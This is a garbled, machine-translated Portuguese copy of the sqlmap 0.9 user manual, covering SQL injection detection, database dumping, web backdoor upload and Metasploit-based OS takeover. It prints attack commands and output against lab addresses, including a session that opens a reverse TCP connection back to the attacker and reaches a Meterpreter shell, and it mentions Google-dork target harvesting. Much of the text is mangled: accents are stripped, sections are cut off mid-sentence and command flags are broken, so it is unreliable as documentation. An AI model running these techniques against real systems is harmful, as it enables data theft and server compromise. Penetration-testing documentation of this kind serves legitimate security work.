Documente Academic
Documente Profesional
Documente Cultură
1. Introduo
1,1 Requisitos
1,2 Cenrio
1,3 Tcnicas
1,4 Demonstrao
2. Caractersticas
3. Histria
3,1 2.011
3,2 2.010
3,3 2.009
3,4 2.008
3,5 2.007
3,6 2.006
4. baixar e atualizar
5. Uso
5,16 Diversos
1,1 Requisitos
sqlmap desenvolvido em Python , uma dinmica orientada a objeto
linguagem de programao interpretada. Isto faz com que a ferramenta
independente do sistema operativo. preciso apenas que a verso
interpretador Python 2 igual ou superior a 2,6 . O intrprete livre para
download a partir do seu site oficial . Para tornar ainda mais fcil, muitas
distribuies GNU / Linux sair da caixa com interpretador Python instalado e
outros Unices e Mac OSX tambm fornecer embalado em seus formatos e
pronto para ser instalado. Usurios do Windows podem baixar e instalar o
instalador do Python-setup pronto para x86, AMD64 e Itanium tambm.
sqlmap conta com o Metasploit Framework para algumas de suas
caractersticas ps-explorao de aquisio. Voc precisa pegar uma cpia do
mesmo a partir da transferncia pgina - a verso necessria 3,5 ou
superior. Para a tcnica de aquisio ICMP tunneling out-of-band, sqlmap
requer Impacket biblioteca tambm.
Se voc estiver disposto a se conectar diretamente a um servidor de banco de
dados ( d- switch), sem passar atravs de uma aplicao web, voc precisa
instalar Ligaes Python para o sistema de gerenciamento de banco de dados
que voc est indo para o ataque:
Firebird: python-kinterbasdb .
Microsoft Access: python-pyodbc .
Microsoft SQL Server: python-pymssql .
MySQL: python-mysqldb .
Oracle: python cx_Oracle .
PostgreSQL: python-psycopg2 .
SQLite: python-pysqlite2 .
Sybase: python-pymssql .
1,2 Cenrio
Detectar e explorar uma injeo de SQL
Vamos dizer que voc uma aplicao de auditoria web e encontrei uma
pgina da web que aceita dinmicas valores fornecidos pelo usurio
em GET ou POST parmetros ou HTTP Cookies valores ou HTTP UserAgent valor cabealho. Voc agora quer testar se estes so afetados por uma
vulnerabilidade de injeo SQL, e se assim for, explor-los para recuperar
informaes, tanto quanto possvel fora do sistema de aplicao web de gesto
de back-end de banco de dados ou at mesmo ser capaz de acessar o sistema
de arquivos subjacente e sistema operacional.
Em um mundo simples, considere que o URL de destino :
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
Suponha que:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
Como voc pode ver, anexando qualquer condio syntatically vlida outro
SQL depois de um valor para o ID de tal condio ter lugar quando o
aplicativo web passa a consulta ao sistema de gerenciamento de banco de
dados de back-end que executa, por isso que a condio id = 1 E 1 = 1
vlido ( verdadeiro ) e retorna a mesma pgina que o original, com o mesmo
contedo. Este o caso de uma vulnerabilidade de injeco booleano baseado
cego SQL. No entanto, sqlmap capaz de detectar qualquer tipo de injeo
SQL e adaptar o seu fluxo de trabalho de acordo. Leia abaixo para mais
detalhes.
Alm disso, neste cenrio simples e fcil de injetar tambm seria possvel
acrescentar, no apenas uma ou mais condio SQL vlida (s), mas tambm
empilhados consultas SQL, por exemplo, algo como [...] & id = 1; OUTRO
SQL QUERY # se a tecnologia de aplicao web suporta consultas empilhadas ,
tambm conhecido como vrias instrues .
Agora que voc encontrou este parmetro de injeo SQL vulnervel, voc
pode explor-la atravs da manipulao da ID valor do parmetro no pedido
HTTP.
Existem muitos recursos na net explicando em detalhes como para prevenir,
detectar e explorar vulnerabilidades de injeo SQL em aplicaes web e
recomenda-se a l-los se voc no est familiarizado com o assunto antes de ir
adiante com sqlmap.
Passando o endereo
original, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 para
sqlmap, a ferramenta automaticamente:
Identificar o parmetro vulnervel (s) ( id , neste exemplo);
Identificar quais as tcnicas de injeo SQL pode ser usado para
explorar o parmetro vulnervel (s);
Impresso digital do back-end do sistema de gesto de banco de dados;
Dependendo das opes do usurio, ser amplamente impresses
digitais, dados de enumerar ou aquisio o servidor de banco de dados
como um todo.
Conexo direta com o sistema de gerenciamento de banco de dados
At sqlmap verso 0,8 , a ferramenta tem sido mais uma ferramenta de
injeo de SQL , utilizado pelos testadores de penetrao de aplicaes web /
novatos / adolescentes curiosos / computador / viciados punks e assim por
diante. As coisas mudam e como elas evoluem, ns fazemos tambm. Agora
suporta esta nova opo, -d , que permite a conexo de sua mquina para o
servidor de banco de dados da porta TCP onde o banco de dados daemon
sistema de gesto est escutando e executar qualquer operao que voc faria
ao us-lo para atacar um banco de dados atravs de um SQL vulnerabilidade
de injeo.
1,3 Tcnicas
sqlmap capaz de detectar e explorar cinco diferentes de injeo SQL tipos :
Boolean baseada injeo de SQL cego , tambm conhecido
como injeo de SQL inferencial : substitui sqlmap ou anexa ao
parmetro afetado na solicitao HTTP, uma cadeia de declarao
syntatically vlido SQL contendo um SELECIONAR instruo sub-, ou
qualquer outra instruo SQL cujo o usurio quiser recuperar a
sada. Para cada resposta HTTP, fazendo uma comparao entre os
cabealhos de resposta HTTP / corpo com o pedido original, a
inferncia ferramenta a sada do personagem declarao injetado pelo
personagem. Como alternativa, o usurio pode fornecer uma string ou
expresso regular para corresponder em pginas Verdadeiros. O
algoritmo de bisseco implementado em sqlmap para executar esta
tcnica capaz de buscar cada personagem da sada com um mximo
de sete solicitaes HTTP.Onde a sada no est dentro do charset claro
em texto simples, sqlmap ir adaptar o algoritmo com intervalos
maiores para detectar a sada.
Time-base de injeo SQL cego , tambm conhecido como injeo de
SQL cego total : substitui sqlmap ou anexa ao parmetro afetado na
solicitao HTTP, uma cadeia de declarao syntatically vlido SQL
contendo uma consulta que colocou em espera o DBMS back-end para
voltar para um certo nmero de segundos. Para cada resposta HTTP,
fazendo uma comparao entre o tempo de resposta HTTP com o
pedido original, a ferramenta de inferncia a sada do carcter
declarao injectado por caractere. Tal como para boolean baseada
tcnica, o algoritmo de bisseco aplicada.
Erro baseada em injeo de SQL : sqlmap substitui ou anexar o
parmetro afetado uma declarao de banco de dados especfico
syntatically errado e analisa os cabealhos de resposta HTTP e corpo
em busca de mensagens de erro de DBMS contendo a cadeia prdefinida injetado de caracteres ea sada declarao dentro. Esta tcnica
funciona quando o aplicativo da Web foi configurado para divulgar
back-end de banco de dados de gerenciamento de mensagens de erro do
sistema apenas.
UNIO consulta injeo de SQL , tambm conhecido como inband
injeo de SQL : sqlmap anexa ao parmetro afetado uma string
declarao syntatically vlido SQL comeando com uma unio todas
selecionar . Este techique funciona quando a pgina da web aplicao
passa a sada do SELECIONAR instruo dentro de um por ciclo, ou
similar, de modo que cada linha da sada de consulta impresso sobre o
contedo da pgina. sqlmap tambm capaz de explorar parcial
(entrada nica) UNIO consulta de injeo SQL vulnerabilidades
que ocorrem quando a sada da instruo no reciclado em
1,4 Demonstrao
Voc pode assistir a vrios vdeos de demonstrao, eles esto hospedados
no YouTube .
2. Caractersticas
Funcionalidades implementadas em sqlmap incluem:
3. Histria
3,1 2.011
3,2 2.010
3,3 2.009
3,4 2.008
3,5 2.007
3,6 2.006
4. baixar e atualizar
sqlmap pode ser baixado a partir de sua pgina de lista de arquivos
SourceForge . Est disponvel em dois formatos:
Fonte gzip .
Zip fonte comprimido .
Voc tambm pode verificar a verso mais recente desenvolvimento
da subverso repositrio:
Ou:
$ Svn update
5. Uso
$ Python sqlmap.py-h
sqlmap/0.9 - injeo de SQL e ferramenta de aquisio automtica
de dados
http://sqlmap.sourceforge.net
Uso: python sqlmap.py [options]
Opes:
Nmero de programa mostra a verso da verso e sai -H, - help mostrar esta mensagem de ajuda e sai
-V nvel de detalhamento VERBOSE: 0-6 (default 1)
Alvo:
Pelo menos uma destas opes tem que ser especificado para definir
a fonte de
obter urls de destino.
INI
-D
-U
-L
-R
-G
-C
Pedido:
Essas opes podem ser usadas para especificar como se conectar
URL de destino.
- Dados = dados de cadeia de dados para ser enviado atravs de
POST
5,2 Alvo
Pelo menos uma destas opes tem que ser fornecido.
URL de destino
Switch: -u ou - url
Executar sqlmap contra um URL nico alvo. Esta opo requer um argumento
que o URL de destino na forma http (s) :/ / TargetURL [: porta] /
[...] .
Analisar alvos de Burp ou logs de proxy WebScarab
Switch: lEm vez de fornecer uma URL de destino nico, possvel testar e injetar
contra solicitaes HTTP proxy atravs Burp procurao ou procurao
WebScarab Esta opo requer um argumento que o arquivo de log do proxy
HTTP solicitaes.
Carregar solicitao HTTP de um arquivo
Switch: -r
Uma das possibilidades de sqlmap est a carregar de pedido de HTTP a partir
de um ficheiro completo textual. Dessa forma, voc pode pular uso monte de
outras opes (por exemplo, configurao de cookies, dados postados, etc).
Contedo de amostra de um arquivo de solicitao HTTP fornecido como
argumento para esta opo:
POST / sqlmap / mysql / post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0
id = 1
5,3 Pedido
Essas opes podem ser usadas para especificar como se conectar URL de
destino.
HTTP dados
Por padro sqlmap realiza solicitaes HTTP com o seguinte User-Agent valor
de cabealho:
sqlmap/0.9 (http://sqlmap.sourceforge.net)
Bsico
Digerir
NTLM
senha
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- Auth-Tipo bsico - auth-cred "testuser: testpass"
5,4 Otimizao
Essas opes podem ser usadas para otimizar o desempenho de sqlmap.
Bundle otimizao
Switch: -o
Este switch um apelido que implicitamente define os seguintes parmetros:
- 3 de segmentos
5,5 Injeo
Essas opes podem ser usadas para especificar quais os parmetros para
testar, fornecer cargas de injeo personalizados e roteiros opcionais
adulterao.
Testvel parmetro (s)
Switch: -p
Por padro, todos os testes sqlmap GET parmetros e POST parmetros. Quando
o valor de - nvel for> = 2 testa tambm HTTP Cookies valores de
cabealho. Quando este valor for> = 3 testa tambm HTTPUser-Agent e
HTTP Referer valor de cabealho para injees SQL. No entanto, possvel
especificar manualmente uma lista separada por vrgula de parmetro (s) que
deseja sqlmap para testar. Isso ir ignorar a dependncia do valor
de - nvel tambm.
Por exemplo, para testar parmetro GET ID e para HTTP User-Agent s
fornecer, -p id, user-agent .
Forar o banco de dados de nome de sistema de gesto
Switch: - dbmsPor padro sqlmap detecta automaticamente a aplicao web back-end sistema
de gerenciamento de banco de dados. A partir da verso 0,9 , sqlmap apoia
plenamente os sistemas de gerenciamento de banco de dados a seguir:
MySQL
Orculo
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
Se, por qualquer razo sqlmap no consegue detectar o DBMS back-end, uma
vez por injeo de SQL tenha sido identificado ou se voc quiser evitar uma
fingeprint ativa, voc pode fornecer o nome do back-end DBMS-se (por
exemplo postgresql ). Para o MySQL e Microsoft SQL Server fornecer-lhes,
respectivamente, na forma MySQL <verso> e Microsoft SQL Server <verso> ,
onde <verso> uma verso vlida para o SGBD, por exemplo 5,0 para o
MySQL e 2005 para o Microsoft SQL Server.
No caso de voc fornecer - impresso digital em conjunto com - , dbms ,
sqlmap apenas realizar a impresso digital extensivo para o sistema especfico
de gesto de dados nico, leia abaixo para mais detalhes.
Note-se que esta opo no obrigatrio e altamente recomendvel uslo somente se voc tem certeza absoluta sobre o sistema de gerenciamento
de banco de dados de back-end. Se voc no sabe, deixe sqlmap impresses
digitais automaticamente para voc.
Para detectar e explorar essa injeo de SQL, voc pode deixar sqlmap
detectar os limites (como na combinao de SQL prefixo e sufixo de carga)
para voc durante a fase de deteco, ou fornec-los em seu prprio pas. Por
exemplo:
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-P id - prefixo "')" - o sufixo "E (' abc '=' abc"
[...]
5,6 Deteco
Essas opes podem ser usadas para especificar a forma de analisar e
comparar o contedo da pgina de respostas HTTP quando utilizando a
tcnica de injeo SQL cego.
Nvel
Switch: - nvel de
Esta opo requer um argumento que especifica o nvel de testes a
executar. H cinco nveis. O valor padro um onde o nmero limitado de
testes (pedidos) so realizadas. Vice-versa, de nvel 5 vai testar com detalhes
para um nmero muito maior de cargas e fronteiras (como no par de SQL
prefixo e sufixo de carga til). As cargas utilizadas por sqlmap so
especificados no arquivo textual xml / payloads.xml . Seguindo as instrues
no incio do arquivo, se sqlmap perde uma injeo, voc deve ser capaz de
adicionar a sua prpria carga (s) para testar tambm!
No s isso afeta interruptor que sqlmap carga tenta, mas tambm quais os
pontos de injeo so tomadas em exame: parmetros GET e POST
so sempre testados, valores de cabealho HTTP Cookies so testados a partir
do nvel 2 e valor HTTP User-Agent/Referer cabealhos ' testado a partir de
nvel 3 .
Tudo em tudo, o que mais difcil de detectar uma injeo de SQL, maior
a - nvel deve ser definido.
Recomenda-se vivamente a este valor mais alto, antes de apresentar a lista de
discusso que sqlmap no capaz de detectar um ponto de injeco certo.
Risco
Switch: - risco
Esta opo requer um argumento que especifica o risco de testes a
executar. Existem quatro valores de risco. O valor padro um que incuo
para a maioria dos pontos de injeo SQL. Valor de risco 2 adiciona para o
nvel padro dos testes para consulta pesadas injees de SQL baseados no
tempo e valor de 3 adiciona tambm OU baseados em testes de injeo SQL.
Em alguns casos, como uma injeo de SQL em uma ATUALIZAO declarao,
injetando uma OU carga baseada pode levar a uma atualizao de todas as
5,7 Tcnicas
Essas opes podem ser usadas para ajustar ensaio de tcnicas de injeo de
SQL especficas.
Tcnicas de injeo SQL para testar
Switch: - tcnicaEssa opo pode ser usada para especificar que tipo de injeo SQL para
testar. Por testes padro sqlmap para todos os tipos / tcnicas que ele suporta.
Em certas situaes, voc pode querer testar apenas para um ou poucos tipos
especficos de SQL pensamento injeo e a que este interruptor entra em
jogo.
5,8 Fingerprint
Extenso banco de dados de impresses digitais do sistema de gesto
Switches: -f ou - impresso digital
Por padro, o aplicativo web do back-end de banco de dados de impresses
digitais do sistema de gesto feita automaticamente pelo sqlmap. Apenas
aps a concluso da fase de deteco eo usurio acaba sendo solicitado com
uma escolha de qual parmetro vulnervel a usar mais adiante, impresses
digitais sqlmap o sistema de gesto de back-end de banco de dados e carrega
consigo a injeo por saber qual a sintaxe SQL dialeto, e consultas para usar a
prosseguir com o ataque dentro dos limites do banco de dados da arquitectura.
Se, por qualquer instncia que voc deseja realizar um extenso banco de dados
de impresses digitais do sistema de gesto com base em vrias tcnicas como
dialetos SQL especficos e mensagens de erro inband, voc pode fornecer
o - impresso digital switch. sqlmap ir realizar pedidos muito mais e
impresso digital a verso DBMS exata e, sempre que possvel, de sistema
operacional, arquitetura e patch.
Se voc quiser que a impresso digital a ser resultado ainda mais preciso, voc
tambm pode fornecer a -b ou - banner- switch.
5,9 Enumerao
Essas opes podem ser usadas para enumerar o back-end de banco de dados
de gerenciamento de informaes do sistema, estrutura e dados contidos nas
tabelas. Alm disso, voc pode executar suas prprias instrues SQL.
Bandeira
Switch: -b ou - bannerA maioria dos modernos sistemas de gesto de banco de dados tem uma
funo e / ou uma varivel de ambiente que retorna o banco de dados de
verso do sistema de gesto e, eventualmente, mais detalhes sobre o seu nvel
de correo, o sistema subjacente. Normalmente, a funo a verso () e o
meio ambiente varivel @ @ verso , mas esta variar de acordo com o alvo
DBMS.
Usurio da sesso
Switch: - corrente de usurio
Na maioria dos SGDBs modernos possvel recuperar o usurio do sistema de
gesto de banco de dados que est efetivamente executando a consulta contra
o DBMS back-end da aplicao web.
Banco de dados atual
Switch: - corrente-db
possvel recuperar o nome do sistema de gerenciamento de banco de dados
do banco de dados que a aplicao web est conectado.
Detectar ou no o usurio da sesso um administrador de banco de
dados
Switch: - -dba
|
+
|
|
|
|
+
ID | NOME | Apelido |
---- + -------- + ------------ +
1 | luther | Blisset |
2 | coelho | fofo |
3 | Wu | ming |
4 | NULL | nameisnull |
---- + -------- + ------------ +
Esta opo tambm pode ser usado para despejar entradas de todas as tabelas
"de um banco de dados fornecido. Voc simplesmente tem que fornecer
sqlmap com o - dump- chave junto com apenas o D- switch, no-T e no -C .
Voc tambm pode fornecer uma lista separada por vrgulas de colunas
especficas para despejar com o C- switch.
sqlmap tambm gera para cada tabela jogou as entradas em um arquivo no
formato CSV textual. Voc pode ver o caminho absoluto onde sqlmap cria o
arquivo, proporcionando um nvel de detalhamento maior ou igual a 1 .
Se voc quiser jogar apenas um intervalo de entradas, ento voc pode
fornecer chaves - a partida e / ou - , parar , respectivamente, comeam a
despejar a partir de um determinado item e parar o despejo em um
determinado item. Por exemplo, se voc quiser jogar apenas a primeira
entrada, fornecer - parar-1 na linha de comando. Vice-versa, se, por exemplo,
voc quiser jogar apenas a entrada do segundo e terceiro, fornecer - de
incio 1 - 3-stop .
Tambm possvel especificar qual personagem nica ou intervalo de
caracteres para despejar com interruptores - em primeira e - da ltima . Por
exemplo, se voc deseja despejar entradas colunas "do terceiro para o quinto
personagem, fornecer - primeiro-3 - 5-ltimo . Este recurso s se aplica s
tcnicas de injeo SQL cegos porque para erro e baseada em consulta unio
tcnicas de injeo SQL, o nmero de pedidos exatamente o mesmo,
independentemente da durao da sada da coluna de entrada para despejar.
Como voc pode ter notado por agora, sqlmap flexvel : voc pode deix-lo
automaticamente para descarregar a tabela banco de dados inteiro ou voc
pode ser muito preciso em que os personagens de despejo, do qual colunas e
que vo de entradas.
Despejar todas as entradas de tabelas de bases de dados
Switches: - despejo-todos- e - excluem--sysdbs
possvel despejar todas as entradas de tabelas de bases de dados de uma vez
que o usurio da sesso tem acesso de leitura.
Voc tambm pode fornecer a - excluem-sysdbs- chave para excluir todos os
bancos de dados do sistema. Nesse caso sqlmap s despejar entradas de mesas
de bancos de dados dos usurios.
Note-se que no Microsoft SQL Server o mestre banco de dados no
considerado um banco de dados do sistema, porque alguns administradores de
banco de dados us-lo como um banco de dados dos usurios.
Busca de colunas, tabelas ou bases de dados
Switches: - busca- , -C , -T , -D
[Hh: mm: 50] [INFO] a consulta SQL fornecido tem mais de um campo.
sqlmap agora ir descompact-lo em
consultas distintas para ser capaz de recuperar a sada, mesmo se
estamos a ficar cego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR
(111) + CHAR (111)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] acessado: foo
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR
(97) + CHAR (114)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] recuperados: bar
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
SELECT 'foo', 'bar': 'foo, bar'
/ common-tables.txt
e voc pode
Tambm possvel simular um escudo real onde voc pode digitar tantos
comandos arbitrrios como voc deseja. A opo - -os-shell e tem as
funcionalidades mesma guia de concluso e histrico que - sql-shell tem.
Onde as consultas empilhadas no foi identificado na aplicao web (por
exemplo, PHP ou ASP com back-end sistema de gerenciamento de banco de
dados sendo MySQL) eo SGBD o MySQL, que ainda possvel abusar
do SELECIONAR clusula INTO OUTFILE para criar um backdoor web em um
gravvel pasta dentro da raiz do documento do servidor web e ainda se a
execuo do comando assumindo o DBMS back-end eo servidor web esto
hospedados no mesmo servidor. sqlmap suporta essa tcnica e permite que o
usurio fornea uma lista separada por vrgula de raiz de documentos
possveis sub-pastas onde tenta fazer o upload do arquivo stager web eo
backdoor web subseqente. Alm disso, tem as suas prprias sqlmap stagers
web testados arquivo e backdoors para os seguintes idiomas:
ASP
ASP.NET
JSP
PHP
Out-of-band conexo stateful: Meterpreter e amigos
Switches: - -os-pwn , - O Rel SMB-os- , - -os-bof , - priv-esc- , - msfcaminho- e - tmp-caminho possvel estabelecer um out-of-band stateful conexo TCP entre a
mquina atacante e banco de dados servidor do sistema operacional
subjacente quando o back-end do sistema de gesto de banco de dados ou
MySQL, PostgreSQL ou Microsoft SQL Server, e o usurio da sesso tem o
necessrio privilgios para abusar funcionalidades de banco de dados e
fraquezas especficas de arquitetura. Esse canal pode ser um prompt de
comando interativo, uma sesso Meterpreter ou uma interface grfica de
usurio da sesso (VNC), como a escolha do usurio acutes.
sqlmap depende Metasploit para criar o shellcode e implementa quatro
diferentes tcnicas para execut-lo no servidor de banco de dados. Estas
tcnicas so:
Banco de dados de execuo na memria de shellcode o
Metasploit via sqlmap prpria funo definida pelo
usurio sys_bineval () . Suportado em MySQL e PostgreSQL interruptor - -os-pwn .
Upload e execuo de um Metasploit stager carga autnomo via
sqlmap prpria funo definida pelo usurio sys_exec () em MySQL e
PostgreSQL ou via xp_cmdshell () no Microsoft SQL Server interruptor - -os-pwn .
$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" - ospwn \
- Msf caminho / software / metasploit
[...]
[Hh: mm: 31] [INFO] o back-end SGBD MySQL
web sistema operacional do servidor: Windows 2003
tecnologia de aplicao web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS
6.0
back-end SGBD: MySQL 5.0
[Hh: mm: 31] [INFO] impresses digitais do back-end do sistema
operacional DBMS
[Hh: mm: 31] [INFO] o back-end do sistema operacional o Windows DBMS
como que voc quer para estabelecer o tnel?
[1] TCP: Metasploit Framework (padro)
[2] ICMP: icmpsh - ICMP tunneling
>
[Hh: mm: 32] [INFO] teste se o usurio atual DBA
[Hh: mm: 32] [INFO] usurio buscar atual
o que o banco de dados de back-end arquitetura de sistema de gesto?
[1] de 32 bits (padro)
[2] de 64 bits
>
[Hh: mm: 33] [INFO] verificar se 'sys_bineval' UDF j existem
[Hh: mm: 33] [INFO] verificar se 'sys_exec' UDF j existem
[Hh: mm: 33] [INFO] deteco de back-end verso DBMS de sua bandeira
[Hh: mm: 33] [INFO] recuperar MySQL caminho do diretrio base absoluta
[Hh: mm: 34] [INFO] criar "sys_bineval 'UDF do arquivo binrio UDF
[Hh: mm: 34] [INFO] criar "sys_exec 'UDF do arquivo binrio UDF
como que voc quer executar o shellcode Metasploit no banco de dados
de back-end subjacente
sistema operacional?
[1] Via 'sys_bineval "UDF (em memria maneira, anti-forense, default)
[2] stager carga autnomo (como sistema de arquivo)
>
[Hh: mm: 35] [INFO] criando Metasploit Framework 3 shellcode multiestgio
que tipo de conexo voc quer usar?
[1] Reverso TCP: Ligue de volta a partir do host do banco de dados a
esta mquina (padro)
[2] Reverso TCP: Tente ligar de volta a partir do host do banco de
dados a esta mquina, em todas as portas
entre o especificado e 65535
[3] Bind TCP: Oua no host do banco de dados para uma conexo
>
que o endereo do local? [192.168.136.1]
qual o nmero de porta local que voc quer usar? [60641]
carga que voc quer usar?
[1] Meterpreter (padro)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] criao em progresso ... feito
[Hh: mm: 43] [INFO] execuo Metasploit Framework 3 interface de linha
de comando localmente, aguarde por favor ..
_
| | O
Meterpreter> ipconfig
MS TCP Loopback interface de
Hardware MAC: 00:00:00:00:00:00
Endereo IP: 127.0.0.1
Netmask: 255.0.0.0
5,15 Geral
Acesse o trfego HTTP (s) para um arquivo textual
Switch: -t
Esta opo requer um argumento que especificado o arquivo textual que
escrever todo o trfego HTTP (s) gerado pelo sqlmap - HTTP (s) pedidos e
HTTP (S) respostas.
Isso til principalmente para fins de depurao.
Arquivo de sesso: salvar e retomar dados recuperados
Switch: -s
Por padro sqlmap registra todas as consultas e sua sada em um arquivo de
texto chamado arquivo de sesso , independentemente da tcnica utilizada
para extrair os dados. Isso til se voc parar a injeo por qualquer motivo e
reprise-lo depois: sqlmap ir analisar o arquivo de sesso e retomar os dados
enumerados a partir dele, em seguida, continuar a extrao de dados a partir
do ponto exato onde saiu antes de parar a ferramenta.
O arquivo da sesso padro sada / TARGET_URL / sesso , mas voc pode
especificar um caminho de arquivo diferente com s- switch.
O arquivo de sesso tem a seguinte estrutura:
[Hh: mm: ss MM / DD / AA]
[URL de destino] [ponto de injeo] [Parmetros] [nome de consultas ou
informaes] [sada da consulta ou valor]
Ento:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] acessado: Oracle Database 10g Enterprise Edition
verso 10.2.0.1.0 - Prod
tecnologia de aplicao web: PHP 5.2.6, Apache 2.2.9
back-end SGBD: Oracle
banner: "Oracle Database 10g Enterprise Edition verso 10.2.0.1.0 Prod '
Como voc pode ver, sqlmap primeira calcula o tamanho de sada da consulta,
em seguida, estima o tempo de chegada mostra o progresso em porcentagem e
conta o nmero de caracteres de sada recuperados.
Atualizao sqlmap
Switch: - atualizarUsando esta opo, voc pode atualizar a ferramenta para a ltima verso de
desenvolvimento diretamente do repositrio de subverso. Obviamente voc
precisa de acesso Internet.
Se, por qualquer motivo, esta operao falhar, executar svn update de sua
cpia sqlmap trabalho. Ele ir realizar a operao exatamente o mesmo da
chave - update- . Se voc estiver executando sqlmap no Windows, voc pode
usar o cliente TartoiseSVN clicando no Windows Explorer em sua cpia
sqlmap trabalhar e clicar em Atualizao .
5,16 Diversos
Alerta quando uma injeo de SQL detectado
Switch: - bipQuando este parmetro fornecido, sqlmap soar a cada nova injeo de SQL
que ele encontra. Ela pode ser til quando voc est no modo de
processamento em lote uma sada idiota Google ou um arquivo de log proxy
para que voc no precisa para monitorar o terminal constantemente.
IDS teste de deteco de cargas de injeo
Switch: - cheque-cargaCurioso para ver se um sistema de deteco de intruso decente (IDS) pega
cargas sqlmap? Use esta opo!
Limpeza de o SGBD de sqlmap especfico UDF (s) e mesa (s)
Switch: - limpezaRecomenda-se limpar o back-end do sistema de gerenciamento de banco de
sqlmap tabela temporria (s) e criou funo definida pelo usurio (s) quando
voc feito tomando conta do sistema operacional ou sistema de
arquivos. Interruptor - limpeza, tentar limpar o SGBD e do sistema de
arquivos sempre que possvel.
Campos de anlise e teste de formulrios de entrada '
Switch: - formas de
Diga que voc quer testar contra injees SQL um enorme formulrio de
busca ou voc quer testar um bypass login (normalmente apenas dois campos
de entrada nomeada como nome de usurio e senha ), voc pode passar para
sqlmap a solicitao em um arquivo de solicitao ( -r ) , defina os dados
postados em conformidade ( - -dados ) ou deixar sqlmap fazer isso por voc!
Ambos os casos acima mencionados, e muitos outros, aparecem
como <form> e <input> tags em HTML corpos de resposta e a que este
interruptor entra em jogo.
Fornecer com sqlmap - formas- , bem como a pgina onde o formulrio pode
ser encontrado como o URL de destino ( -u ) e sqlmap ir solicitar a URL de
destino para voc, analisar as formas que ela tem e gui-lo atravs de testar a
injeo de SQL em os campos do formulrio de entrada (parmetros), em vez
de o URL de destino fornecido.
Use resultados dork Google de nmero de pgina especificado
Switch: - g ver pginaComportamento padro sqlmap com a opo -g fazer uma pesquisa no
Google e usar os primeiros 100 URLs resultantes de testes de injeo SQL
mais. No entanto, em combinao com esta opo, voc pode especificar com
essa opo, - g ver pgina- , alguma outra pgina que o primeiro para
recuperar URLs de destino.
Mostrar Page Rank (PR) para resultados dork Google
Switch: - pginas-rank
Executa outras solicitaes ao Google quando g fornecido e posto a exibio
da pgina (PR) para resultados dork do Google.
Parse DBMS mensagens de erro de pginas de resposta
Switch: - -parse-erros
Se a aplicao web est configurado no modo de depurao, de modo que ela
exibe nas respostas HTTP os back-end de banco de dados de gerenciamento
de mensagens de erro do sistema, sqlmap pode analisar e exibi-los para voc.
Isso til para fins de depurao como entender por que uma enumerao
certo ou switch aquisio no funciona - pode ser uma questo de privilgios
de usurio da sesso e, neste caso, voc ver uma mensagem de erro DBMS
ao longo das linhas de Acesso negado para o usurio <usurio da sesso > .
Replicar os dados salvos em um banco de dados sqlite3
Switch: - replicarSe voc deseja armazenar em um arquivo local de banco de dados SQLite 3
cada tabela despejados ( - dump- ou - -dump-all ), voc pode fornecer com o
sqlmap - replicate- chave na fase de despejo. Isso ir criar
um <nome_da_tabela>. sqlite3 em vez de um <db_name> /
<nome_da_tabela>. csv arquivo para sada / TARGET_URL / dump / diretrio.
Voc pode ento usar sqlmap-se para ler e consultar o local criado SQLite 3
arquivo. Por exemplo, python sqlmap.py-d sqlite :/ / /
software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 - tabela .
Interface de assistente simples para usurios iniciantes
Switch: - assistenteVoc realmente quer saber?
7. Renncia
sqlmap distribudo na esperana que possa ser til, mas SEM QUALQUER
GARANTIA, sem mesmo a garantia implcita de COMERCIALIZAO ou
ADEQUAO PARA UM DETERMINADO PROPSITO. Veja a GNU
General Public License para mais detalhes.
Faa o que fizer com esta ferramenta exclusivamente de sua
responsabilidade. Se voc no est autorizado a fazer furos na rede que voc
est atacando estar ciente de que tal ato poderia colocar voc em problemas
com um monte de agncias de aplicao da lei.
8. Autores
Bernardo Damele AG (inquis) - principal desenvolvedor. PGP Key
ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Desenvolvedor. PGP Key ID: 0xB5397B1B